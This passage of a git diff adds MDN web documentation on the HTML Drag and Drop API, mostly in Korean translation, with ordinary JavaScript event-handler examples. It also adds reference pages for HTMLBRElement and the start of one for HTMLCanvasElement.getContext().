+<p>During the <code>{{event("drop")}}</code> event, you should retrieve that data that was dropped from the event and insert it at the drop location. You can use the {{domxref("DataTransfer.dropEffect","dropEffect")}} property to determine which drag operation was desired.</p>
+
+<p>As with all drag-related events, the event's <code>{{domxref("DataTransfer","dataTransfer")}}</code> property will hold the data that is being dragged. The {{domxref("DataTransfer.getData","getData()")}} method may be used to retrieve the data again.</p>
+
+<pre class="brush: js">function onDrop(event) {
+  var data = event.dataTransfer.getData("text/plain");
+  event.target.textContent = data;
+  event.preventDefault();
+}
+</pre>
+
+<p>The {{domxref("DataTransfer.getData","getData()")}} method takes one argument, the type of data to retrieve. It will return the string value that was set when {{domxref("DataTransfer.setData","setData()")}} was called at the beginning of the drag operation. An empty string will be returned if data of that type does not exist. Naturally, though, you would likely know that the right type of data was available, as it was previously checked during a <code>{{event("dragover")}}</code> event.</p>
+
+<p>In the example here, once we have retrieved the data, we insert the string as the textual content of the target. This has the effect of inserting the dragged text where it was dropped, assuming that the drop target is an area of text such as a <code>p</code> or <code>div</code> element.</p>
+
+<p>In a web page, you should call the {{domxref("Event.preventDefault","preventDefault()")}} method of the event if you have accepted the drop so that the default browser handling does not handle the dropped data as well. For example, when a link is dragged to a web page, Firefox will open the link. By cancelling the event, this behavior will be prevented.</p>
+
+<p>You can retrieve other types of data as well. If the data is a link, it should have the type <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a>. You could then insert a link into the content.</p>
+
+<pre class="brush: js">function doDrop(event) {
+  var lines = event.dataTransfer.getData("text/uri-list").split("\n");
+  for (let line of lines) {
+    if (line.startsWith("#"))
+      continue;
+
+    let link = document.createElement("a");
+    link.href = line;
+    link.textContent = line;
+    event.target.appendChild(link);
+  }
+  event.preventDefault();
+}
+</pre>
+
+<p>This example inserts a link from the dragged data. As you might be able to guess from the name, the <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a> type actually may contain a list of URLs, each on a separate line. In this code, we use the <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/split" title="split">split</a> to split the string into lines, then iterate over the list of lines, inserting each as a link into the document. Note also that we skip links starting with a number sign (#) as these are comments.</p>
+
+<p>For simple cases, you can use the special type <code>URL</code> just to retrieve the first valid URL in the list. For example:</p>
+
+<pre class="brush: js">var link = event.dataTransfer.getData("URL");
+</pre>
+
+<p>This eliminates the need to check for comments or iterate through lines yourself; however, it is limited to only the first URL in the list.</p>
+
+<p>The <code>URL</code> type is a special type used only as a shorthand, and it does not appear within the list of types specified in the {{domxref("DataTransfer.types","types")}} property.</p>
+
+<p>Sometimes you may support some different formats, and you want to retrieve the data that is most specific that is supported. In this example, three formats are supported by a drop target.</p>
+
+<p>The following example returns the data associated with the best-supported format:</p>
+
+<pre class="brush: js">function doDrop(event) {
+  var types = event.dataTransfer.types;
+  var supportedTypes = ["application/x-moz-file", "text/uri-list", "text/plain"];
+  types = supportedTypes.filter((value) =&gt; types.includes(value));
+  if (types.length)
+    var data = event.dataTransfer.getData(types[0]);
+  event.preventDefault();
+}
+</pre>
+
+<p>This method relies on JavaScript functionality available in Firefox 3. However, the code could be adjusted to support other platforms.</p>
+
+<h2 id="dragend" name="dragend">Finishing a Drag</h2>
+
+<p>Once the drag is complete, a <code>{{event("dragend")}}</code> event is fired at the source of the drag (the same element that received the <code>{{event("dragstart")}}</code> event). This event will fire if the drag was successful[1] or if it was cancelled. However, you can use the {{domxref("DataTransfer.dropEffect","dropEffect")}} property to determine what drop operation occurred.</p>
+
+<p>If the {{domxref("DataTransfer.dropEffect","dropEffect")}} property has the value <code>none</code> during a <code>{{event("dragend")}}</code>, then the drag was cancelled. Otherwise, the effect specifies which operation was performed. The source can use this information after a move operation to remove the dragged item from the old location. The {{domxref("DataTransfer.mozUserCancelled","mozUserCancelled")}} property will be set to true if the user cancelled the drag (by pressing Escape), and false if the drag was cancelled for other reasons such as an invalid drop target, or if it was successful.</p>
+
+<p>A drop can occur inside the same window or over another application. The <code>{{event("dragend")}}</code> event will always fire regardless. The event's {{domxref("MouseEvent.screenX","screenX")}} and {{domxref("MouseEvent.screenY","screenY")}} properties will be set to the screen coordinate where the drop occurred.</p>
+
+<p>After the <code>{{event("dragend")}}</code> event has finished propagating, the drag and drop operation is complete.</p>
+
+<p>[1] In Gecko, {{event("dragend")}} is not dispatched if the source node is moved or removed during the drag (e.g. on drop or {{event("dragover")}}).  <a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=460801" title="New D&amp;D API: dragend is not dispatched if the source node was moved or removed during the drag session">bug 460801</a></p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a class="internal" href="/Web/API/HTML_Drag_and_Drop_API" title="HTML Drag and Drop API">HTML Drag and Drop API (Overview)</a></li>
+ <li><a class="internal" href="/Web/Guide/HTML/Dragging_and_Dropping_Multiple_Items" title="Dragging and Dropping Multiple Items">Dragging and Dropping Multiple Items</a></li>
+ <li><a class="internal" href="/Web/Guide/HTML/Recommended_Drag_Types" title="Recommended Drag Types">Recommended Drag Types</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/interaction.html#dnd" title="Drag and Drop Standard">HTML5 Living Standard: Drag and Drop</a></li>
+</ul>
diff --git a/files/ko/web/api/html_드래그_앤_드롭_api/index.html b/files/ko/web/api/html_드래그_앤_드롭_api/index.html
new file mode 100644
index 0000000000..70a4295284
--- /dev/null
+++ b/files/ko/web/api/html_드래그_앤_드롭_api/index.html
@@ -0,0 +1,303 @@
+---
+title: HTML 드래그 앤 드롭 API
+slug: Web/API/HTML_드래그_앤_드롭_API
+tags:
+  - HTML5
+  - XUL
+  - 가이드
+  - 개요
+  - 고급
+  - 드래그 앤 드롭
+  - 이벤트
+translation_of: Web/API/HTML_Drag_and_Drop_API
+---
+<p>{{DefaultAPISidebar("HTML 드래그 앤 드롭 API")}}</p>
+
+<p><span class="seoSummary">HTML 드래그 앤 드롭 인터페이스는 파이어폭스와 다른 브라우저에서 어플리케이션이 드래그 앤 드롭 기능을 사용하게 해줍니다.</span> 이 기능을 이용해 사용자는 <em>draggable</em> 요소를 마우스로 선택해 <em>droppable</em> 요소로 드래그하고, 마우스 버튼에서 손을 뗌으로써 요소를 드롭할 수 있습니다. 드래그하는 동안 draggable 요소는 반투명한 채로 마우스 포인터를 따라다닙니다.</p>
+
+<p>웹 사이트나 확장 기능, XUL 어플리케이션을 위해, 다양한 요소를 draggable 요소로 만들 수 있고, 이벤트에 대한 draggable 요소의 반응들을 만들어내거나 droppable 요소를 자유자재로 만들 수 있습니다.</p>
+
+<p>이 문서는 HTML 드래그 앤 드롭에 대한 전반적인 개요입니다. 인터페이스에 대한 설명과 드래그 앤 드롭 기능을 어플리케이션에서 사용하기 위한 기본적인 절차, 인터페이스의 상호 운용성에 대한 요약 등이 이 문서에 담겨있습니다.</p>
+
+<h2 id="드래그_이벤트">드래그 이벤트</h2>
+
+<p>HTML 드래그 앤 드롭은 {{domxref("Event","DOM event model")}} 과 <em>{{domxref("DragEvent","drag events")}} </em>를<em> </em> {{domxref("MouseEvent","mouse events")}} 로부터 상속받습니다. 보통 드래그는 사용자가 draggable 요소를 마우스로 선택하고, 마우스 포인터를 droppable 요소로 가져가 마우스 버튼을 때는 것으로 이루어집니다. 드래그하는 도중에 많은 이벤트가 발생하고, 몇몇 이벤트는 여러번 발생하기도 합니다. ( {{event("drag")}}와 {{event("dragover")}}).</p>
+
+<p>모든 <a href="/en-US/docs/Web/API/DragEvent#Event_types">드래그 이벤트</a>는 <a href="/en-US/docs/Web/API/DragEvent#GlobalEventHandlers">글로벌 이벤트 핸들러</a>와 연결되어 있습니다. 각 드래그 이벤트와 드래그 전역 속성은 참조 문서를 가지고 있습니다. 아래 표는 각 이벤트에 대한 간략한 설명과 참조 문서로의 링크를 담고 있습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">이벤트</th>
+   <th scope="col">이벤트 핸들러</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{domxref('Document/drag_이벤트', 'drag')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondrag','ondrag')}}</td>
+   <td>요소나 텍스트 블록을 드래그 할 때 발생한다.</td>
+  </tr>
+  <tr>
+   <td>{{event('dragend')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragend','ondragend')}}</td>
+   <td>
+    <p>드래그를 끝냈을 때 발생한다. (마우스 버튼을 떼거나 ESC 키를 누를 때) (<a href="/en-US/docs/DragDrop/Drag_Operations#dragend">드래그 끝내기</a>를 보시오)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{event('dragenter')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragenter','ondragenter')}}</td>
+   <td>
+    <p>드래그한 요소나 텍스트 블록을 적합한 드롭 대상위에 올라갔을 때 발생한다. (<a href="/en-US/docs/DragDrop/Drag_Operations#droptargets">드롭 대상 지정하기</a>를 보시오.)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{event('dragexit')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragexit','ondragexit')}}</td>
+   <td>
+    <p>요소가 더 이상 드래그의 직접적인 대상이 아닐 때 발생한다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{event('dragleave')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragleave','ondragleave')}}</td>
+   <td>
+    <p>드래그하는 요소나 텍스트 블록이 적합한 드롭 대상에서 벗어났을 때 발생한다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{event('dragover')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragover','ondragover')}}</td>
+   <td>
+    <p>요소나 텍스트 블록을 적합한 드롭 대상 위로 지나갈 때 발생한다. (매 수백 밀리초마다 발생한다.)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{event('dragstart')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragstart','ondragstart')}}</td>
+   <td>
+    <p>사용자가 요소나 텍스트 블록을 드래그하기 시작했을 때 발생한다. (<a href="/en-US/docs/DragDrop/Drag_Operations#dragstart">드래그 시작하기</a>를 보시오.)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{event('drop')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondrop','ondrop')}}</td>
+   <td>
+    <p>요소나 텍스트 블록을 적합한 드롭 대상에 드롭했을 때 발생한다. (<a href="/en-US/docs/DragDrop/Drag_Operations#dragstart">드롭하기</a>를 보시오.)</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><code>참고: dragstart</code>와 <code>dragend</code> 이벤트는 파일을 브라우저로 드래그할 때는 발생하지 않습니다.</p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<p>HTML 드래그와 드롭 인터페이스는 {{domxref("DragEvent")}}, {{domxref("DataTransfer")}}, {{domxref("DataTransferItem")}}, {{domxref("DataTransferItemList")}} 입니다.</p>
+
+<p>{{domxref("DataTransfer")}} 객체는 드래그 형태나 드래그 데이터 (하나 이상의 아이템), 각 드래그 아이템의 종류 (MIME 종류) 와 같은 드래그 이벤트의 상태를 담고 있습니다. {{domxref("DataTransfer")}} 는 또한 드래그 데이터에 아이템을 추가하거나 제거하는 메소드를 가지고 있습니다. The {{domxref("DragEvent")}} 와 {{domxref("DataTransfer")}} 인터페이스만 있으면 어플리케이션에 HTML 드래그 앤 드롭 기능을 추가할 수 있습니다. 참고로 파이어폭스는 {{domxref("DataTransfer")}}에 {{anch("Gecko specific interfaces","Gecko-specific extensions")}} 와 같은 파이어폭스에서만 동작하는 추가적인 확장을 제공합니다. </p>
+
+<p>{{domxref("DataTransfer")}}는 {{domxref("DataTransferItem")}}의 {{domxref("DataTransferItemList","목록")}} 인 {{domxref("DataTransfer.items","items")}} 프로퍼티를 가지고 있습니다. 각 {{domxref("DataTransferItem")}} 는 하나의 드래그 아이템을 나타내고 각 아이템은 데이터의 종류 (<code>string</code> 혹은 <code>file</code>) 를 나타내는 {{domxref("DataTransferItem.kind","kind")}} 프로퍼티와 데이터 아이템의 종류 (MIME 종류) 를 나타내는 {{domxref("DataTransferItem.type","type")}} 프로퍼티를 가집니다. {{domxref("DataTransferItem")}}은 드래그 아이템의 데이터를 가져오는 메소드를 제공합니다.</p>
+
+<p>{{domxref("DataTransferItemList")}} 객체는 {{domxref("DataTransferItem")}}의 리스트입니다. 이 리스트 객체는 세 개의 메소드 - 드래그 아이템을 리스트에 추가하거나, 리스트에서 아이템을 삭제하거나, 모든 드래그 아이템을 리스트에서 삭제하는 메소드 - 를 가집니다.</p>
+
+<p>A key difference between the {{domxref("DataTransfer")}} and {{domxref("DataTransferItem")}} interfaces is that the former uses the synchronous {{domxref("DataTransfer.getData","getData()")}} method to access a drag item's data, whereas the later uses the asynchronous {{domxref("DataTransferItem.getAsString","getAsString()")}} method to access a drag item's data.</p>
+
+<p>{{domxref("DataTransfer")}}와 {{domxref("DataTransferItem")}}의 가장 중요한 차이점은 전자는 드래그 아이템의 데이터에 접근하기 위해 동기 메소드인 {{domxref("DataTransfer.getData","getData()")}}를 사용하는데 반해, 후자는 비동기 메소드인 {{domxref("DataTransferItem.getAsString","getAsString()")}}를 사용한다는 점입니다.</p>
+
+<p class="note">참고: {{domxref("DragEvent")}} and {{domxref("DataTransfer")}}는 여러 데스크탑 브라우저에서 폭넓게 지원하고 있습니다. 하지만 {{domxref("DataTransferItem")}}와 {{domxref("DataTransferItemList")}}는 제한적으로 사용 가능합니다. 드래그 앤 드롭의 상호 운용성에 대한 더 많은 정보를 찾아보기 위해 {{anch("Interoperability")}}를 보십시오.</p>
+
+<h3 id="Gecko_한정_인터페이스">Gecko 한정 인터페이스</h3>
+
+<p>모질라와 파이어폭스는 표준 드래그 앤 드롭 모델에서 제공하지 않는 몇가지 기능들을 추가로 제공합니다. 여러 개의 아이템을 동시에 드래그하거나 파일과 같이 문자열이 아닌 데이터를 드래그 하기 위한 여러 편리한 기능을 제공합니다. 더 많은 정보를 찾아보기 위해, <a href="/en-US/docs/DragDrop/Dragging_and_Dropping_Multiple_Items" title="Dragging and Dropping Multiple Items">Dragging and Dropping Multiple Items</a>을 보십시오. 덧붙여, 모든 Gecko 한정 프로퍼티나 Gecko 한정 메소드를 찾아보기 위해 {{domxref("DataTransfer")}} 참조 페이지도 보시기 바랍니다.</p>
+
+<h2 id="기본">기본</h2>
+
+<p>이번 절은 드래그 앤 드롭 기능을 추가하기 위한 기본적인 방법을 요약하고 있습니다. 각 절은 단계를 설명하고, 짧은 코드 예제와 추가적인 정보를 위한 링크를 포함합니다.</p>
+
+<h3 id="어떤_것이_draggable인지_확인하기">어떤 것이 <em>draggable</em>인지 확인하기</h3>
+
+<p>하나의 요소를 draggable로 만들기 위해서는 {{htmlattrxref("draggable")}}와 {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} 전역 이벤트 핸들러를 아래 예제 코드와 같이 추가해야합니다.</p>
+
+<pre class="brush: js notranslate">function dragstart_handler(ev) {
+ console.log("dragStart");
+ // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+ ev.dataTransfer.setData("text/plain", ev.target.id);
+}
+
+</pre>
+
+<pre class="notranslate">&lt;script&gt;
+  function dragstart_handler(ev) {
+    // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+    ev.dataTransfer.setData("text/plain", ev.target.id);
+  }
+
+  window.addEventListener('DOMContentLoaded', () =&gt; {
+    // id를 통해 element를 가져옵니다.
+    const element = document.getElementById("p1");
+    // 'dragstart' 이벤트 리스터를 추가합니다.
+    element.addEventListener("dragstart", dragstart_handler);
+  });
+&lt;/script&gt;
+
+&lt;p id="p1" draggable="true"&gt;This element is draggable.&lt;/p&gt;</pre>
+
+<p>추가 정보를 위해 <a href="/Web/HTML/Global_attributes/draggable" title="draggable global attribute">draggable attribute reference</a>와 <a href="/Web/Guide/HTML/Drag_operations#draggableattribute">Drag operations guide</a>를 참고하세요.</p>
+
+<h3 id="드래그_데이터_정의하기">드래그 데이터 정의하기</h3>
+
+<p>드래그할 때 자유롭게 데이터 아이템을 포함할 수 있습니다. 각 데이터 아이템은 특정 <code>type</code>의 {{domxref("DOMString","문자열")}}이며, 보통 <code>text/html</code>와 같은 MIME type입니다.</p>
+
+<p>각 {{domxref("DragEvent","drag event")}} 은 이벤트 데이터를 가지고 있는 {{domxref("DragEvent.dataTransfer","dataTransfer")}} 를 가집니다. 이 프로퍼티는 ({{domxref("DataTransfer")}} 객체) 드래그 데이터를 관리하는 메소드를 가집니다. {{domxref("DataTransfer.setData","setData()")}} 는 아래 코드 예제와 같이 아이템을 드래그 데이터에 추가할 때 사용합니다.</p>
+
+<pre class="brush: js notranslate">function dragstart_handler(ev) {
+  // 드래그 데이터를 추가합니다.
+  ev.dataTransfer.setData("text/plain", ev.target.id);
+  ev.dataTransfer.setData("text/html", "&lt;p&gt;Example paragraph&lt;/p&gt;");
+  ev.dataTransfer.setData("text/uri-list", "http://developer.mozilla.org");
+}
+</pre>
+
+<p>드래그 앤 드롭에 사용할 수 있는 공통 데이터 타입 (텍스트, HTML, 링크, 파일 등) 의 목록을 보려면, <a href="/en-US/docs/DragDrop/Recommended_Drag_Types" title="Recommended Drag Types">Recommended Drag Types</a>를 참고하십시오. 드래그 데이터에 대한 추가적인 정보를 위해서는 <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#dragdata" title="Drag Data">Drag Data</a>를 참고하십시오.</p>
+
+<h3 id="드래그_이미지_정의하기">드래그 이미지 정의하기</h3>
+
+<p>브라우저는 드래그 하는 동안 마우스 포인터 옆에 나타나는 이미지를 기본적으로 제공합니다. 어플리케이션에서 다른 이미지를 사용하기 원한다면 아래 예제와 같이 {{domxref("DataTransfer.setDragImage","setDragImage()")}}를 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">function dragstart_handler(ev) {
+  // 드래그 이미지로 사용할 이미지를 만듭니다.
+  // 참고: "example.gif"를 존재하는 이미지로 바꾸지 않으면 기본 드래그 이미지를 사용합니다.
+  var img = new Image();
+  img.src = 'example.gif';
+  ev.dataTransfer.setDragImage(img, 10, 10);
+}
+</pre>
+
+<p>드래그 이미지에 대해 더 알아보려면, <a href="/en-US/docs/DragDrop/Drag_Operations#dragfeedback" title="Setting the Drag Feedback Image">Setting the Drag Feedback Image</a>를 참고하세요.</p>
+
+<h3 id="드래그_효과_정의하기">드래그 효과 정의하기</h3>
+
+<p>{{domxref("DataTransfer.dropEffect","dropEffect")}} 프로퍼티는 드래그 앤 드롭 도중에 사용자에게 피드백 (보통 시각적인) 을 제공하기 위해 사용합니다. 브라우저가 드래그 하는 동안 어떤 마우스 포인터를 보여줄 지 결정합니다. 사용자가 마우스 포인터를 대상 드롭 요소에 올려놓으면, 브라우저는 드래그 효과에 적합한 마우스 포인터를 보여줄 것입니다.</p>
+
+<p>세 개의 효과가 정의되어 있습니다:</p>
+
+<p><code>copy</code>는 현재 위치에서 드롭하는 위치로 데이터가 복사될 것을 암시합니다.</p>
+
+<p><code>move</code>는 현재 위치에서 드롭하는 위치로 데이터가 이동할 것을 암시합니다.</p>
+
+<p><code>link</code>는 드래그하는 위치와 드롭하는 위치 간의 일종의 관계나 연결이 맺어진 다는 것을 암시합니다.</p>
+
+<p>특정 위치에서는 특정 효과가 허용된다는 것을 알려주기 위해 드래그 하는 도중에 효과가 변할 수 있습니다. 허용되는 경우에만 해당 위치에 드롭할 수 있습니다.</p>
+
+<p>다음 예제는 어떻게 이 프로퍼티를 사용하는지 보여줍니다.</p>
+
+<pre class="brush: js notranslate">function dragstart_handler(ev) {
+  // 드래그 효과를 copy로 지정합니다.
+  ev.dataTransfer.dropEffect = "copy";
+}
+</pre>
+
+<p>더 자세한 설명은 <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#drageffects" title="Drag Effects">Drag Effects</a>를 참고하세요.</p>
+
+<h3 id="드롭_지역_정의하기">드롭 지역 정의하기</h3>
+
+<p>기본적으로는 브라우저는 HTML 요소에 뭔가를 드롭했을 때 아무 일도 일어나지 않도록 합니다. 특정 요소가 드롭 지역 혹은 droppable로 만들기 위해서는 해당 요소가 {{domxref("GlobalEventHandlers.ondragover","ondragover")}}와 {{domxref("GlobalEventHandlers.ondrop","ondrop")}} 이벤트 핸들러 속성을 가져야합니다. 아래 예제는 두 요소를 어떻게 사용하고, 각 요소에 포함된 기본적인 이벤트 핸들러를 보여줍니다.</p>
+
+<pre class="notranslate">&lt;script&gt;
+function dragover_handler(ev) {
+ ev.preventDefault();
+ // dropEffect를 move로 설정.
+ ev.dataTransfer.dropEffect = "move";
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // 대상의 id를 가져와 대상 DOM에 움직인 요소를 추가합니다.
+ const data = ev.dataTransfer.getData("text/plain");
+ ev.target.appendChild(document.getElementById(data));
+}
+&lt;/script&gt;
+
+&lt;p id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)"&gt;Drop Zone&lt;/p&gt;</pre>
+
+<p>각 핸들러는 {{domxref("Event.preventDefault","preventDefault()")}} 를 호출해 추가적인 이벤트 (터치 이벤트나 포인터 이벤트) 가 일어나지 않도록 합니다.</p>
+
+<p>추가적인 정보는, <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#droptargets">Specifying Drop Targets</a>를 참고하세요.</p>
+
+<h3 id="드롭_효과_다루기">드롭 효과 다루기</h3>
+
+<p>{{event("drop")}} 이벤트 핸들러는 자유롭게 드래그 데이터를 가공할 수 있습니다. 보통, 드래그 아이템과 각 아이템을 가공하기 위해 {{domxref("DataTransfer.getData","getData()")}}를 사용합니다. 추가로, {{domxref("DataTransfer.dropEffect","dropEffect")}} 값이나 보조키 상태에 따라 어플리케이션이 어떻게 동작할지를 결정할 수 있습니다.</p>
+
+<p>아래 예제는 드롭 핸들러가 드래그 데이터로부터 드래그하는 요소의 id를 가져와 드래그하는 요소를 드롭하는 요소로 옮기기위해 사용합니다.</p>
+
+<pre class="notranslate">&lt;script&gt;
+function dragstart_handler(ev) {
+ // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+ ev.dataTransfer.setData("application/my-app", ev.target.id);
+ ev.dataTransfer.dropEffect = "move";
+}
+function dragover_handler(ev) {
+ ev.preventDefault();
+ ev.dataTransfer.dropEffect = "move"
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // 대상의 id를 가져와 이동한 대상 DOM 요소를 추가합니다.
+ // Get the id of the target and add the moved element to the target's DOM
+ const data = ev.dataTransfer.getData("application/my-app");
+ ev.target.appendChild(document.getElementById(data));
+}
+&lt;/script&gt;
+
+&lt;p id="p1" draggable="true" ondragstart="dragstart_handler(event)"&gt;This element is draggable.&lt;/p&gt;
+&lt;div id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)"&gt;Drop Zone&lt;/div&gt;</pre>
+
+<p>더 많은 정보를 위해 <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#drop">Performing a Drop</a>을 보십시오.</p>
+
+<h3 id="드래그가_끝나면">드래그가 끝나면</h3>
+
+<p>드래그가 끝나면 드래그한 요소에 {{event("dragend")}} 이벤트가 발생합니다. 이 이벤트는 드래그가 완료되거나 중간에 취소되어도 발생합니다. {{event("dragend")}} 이벤트 핸들러는 {{domxref("DataTransfer.dropEffect","dropEffect")}} 프로퍼티를 확인해 드래그가 성공했는지를 확인할 수 있습니다.</p>
+
+<p>드래그 끝을 다루기 위한 더 많은 정보는 <a href="/en-US/docs/DragDrop/Drag_Operations#dragend" title="Finishing a Drag">Finishing a Drag</a>를 참고하세요. </p>
+
+<h2 id="상호_운용성">상호 운용성</h2>
+
+<p><a href="/docs/Web/API/DataTransferItem#Browser_compatibility">DataTransferItem interface's Browser Compatibility table</a>에 나온 대로, 드래그 앤 드롭은 상대적으로 여러 데스크톱 브라우저에서 폭넓게 사용할 수 있습니다 ({{domxref("DataTransferItem")}}는 {{domxref("DataTransferItemList")}} 덜 지원하지만). 또한 모바일 브라우저에서는 매우 한정적으로 사용할 수 있습니다.</p>
+
+<h2 id="Examples_and_demos" name="Examples_and_demos">예제와 데모</h2>
+
+<ul>
+ <li><a href="https://mdn.github.io/dom-examples/drag-and-drop/copy-move-DataTransfer.html">Copying and moving elements with the <code>DataTransfer</code> interface</a></li>
+ <li><a href="https://mdn.github.io/dom-examples/drag-and-drop/copy-move-DataTransferItemList.html">Copying and moving elements with the <code>DataTransferListItem</code> interface</a></li>
+ <li>파일 드래그 앤 드롭; 파이어폭스 전용: <a class="external" href="http://jsfiddle.net/9C2EF/" title="http://jsfiddle.net/9C2EF/">http://jsfiddle.net/9C2EF/</a></li>
+ <li>파일 드래그 앤 드롭; 모든 브라우저: <a class="external" href="https://jsbin.com/hiqasek/edit?html,js,output" title="https://jsbin.com/hiqasek">https://jsbin.com/hiqasek/</a></li>
+</ul>
+
+<h2 id="명세서">명세서 </h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Specification</strong></th>
+   <th scope="col"><strong>Status</strong></th>
+   <th scope="col"><strong>Comment</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dnd")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">더보기</h2>
+
+<ul>
+ <li><a class="internal" href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API/Drag_operations" title="Drag Operations">Drag Operations</a></li>
+ <li><a class="internal" href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API/Multiple_items" title="Dragging and Dropping Multiple Items">Dragging and Dropping Multiple Items</a></li>
+ <li><a class="internal" href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API/Recommended_drag_types" title="Recommended Drag Types">Recommended Drag Types</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/interaction.html#dnd" title="Drag and Drop Standard">HTML5 Living Standard: Drag and Drop</a></li>
+ <li><a href="http://caniuse.com/#search=draganddrop" title="Drag and Drop interoperability data from CanIUse">Drag and Drop interoperability data from CanIUse</a></li>
+</ul>
diff --git a/files/ko/web/api/htmlbrelement/index.html b/files/ko/web/api/htmlbrelement/index.html
new file mode 100644
index 0000000000..85cbe5d72b
--- /dev/null
+++ b/files/ko/web/api/htmlbrelement/index.html
@@ -0,0 +1,64 @@
+---
+title: HTMLBRElement
+slug: Web/API/HTMLBRElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Reference
+translation_of: Web/API/HTMLBRElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>HTMLBRElement</code></strong> 인터페이스는 HTML 줄바꿈 요소({{htmlelement("br")}})를 나타냅니다. {{domxref("HTMLElement")}}를 상속합니다.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="속성">속성</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}로부터 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLBRElement.clear")}} {{obsolete_inline}}</dt>
+ <dd>떠있는 요소 주변 텍스트의 흐름을 나타내는 {{domxref("DOMString")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}로부터 상속합니다.</em></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmlbrelement", "HTMLBRElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "textlevel-semantics.html#the-br-element", "HTMLBRElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>No change from {{SpecName("DOM2 HTML")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLBRElement")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>인터페이스를 구현하는 HTML 요소 {{HTMLElement("br")}}.</li>
+</ul>
diff --git a/files/ko/web/api/htmlcanvaselement/getcontext/index.html b/files/ko/web/api/htmlcanvaselement/getcontext/index.html
new file mode 100644
index 0000000000..89a54a2c1d
--- /dev/null
+++ b/files/ko/web/api/htmlcanvaselement/getcontext/index.html
@@ -0,0 +1,144 @@
+---
+title: HTMLCanvasElement.getContext()
+slug: Web/API/HTMLCanvasElement/getContext
+tags:
+  - API
+  - Canvas
+  - HTMLCanvasElement
+  - 레퍼런스
+  - 메소드
+translation_of: Web/API/HTMLCanvasElement/getContext
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p><span class="seoSummary"><strong><code>HTMLCanvasElement.getContext()</code></strong> 메소드는 캔버스의 드로잉 컨텍스트를 반환합니다. 컨텍스트 식별자가 지원되지 않을 경우 {{jsxref("null")}}을 반환합니다.</span></p>
+
+<p>동일한 캔버스 엘리먼트에서 나중에 이 메소드를 호출하면 동일한 <code>contextType</code> 인자와 함께 메소드가 마지막으로 호출되었을 때 반환된 것과 같이 동일한 드로잉 컨텍스트 인스턴스를 반환합니다. 다른 드로잉 컨텍스트 객체를 얻으려면 다른 <code>contextType</code>을 전달하거나 다른 캔버스 엘리먼트에서 메소드를 호출해야 합니다.</p>
+
+<h2 id="구문">구문</h2>
+
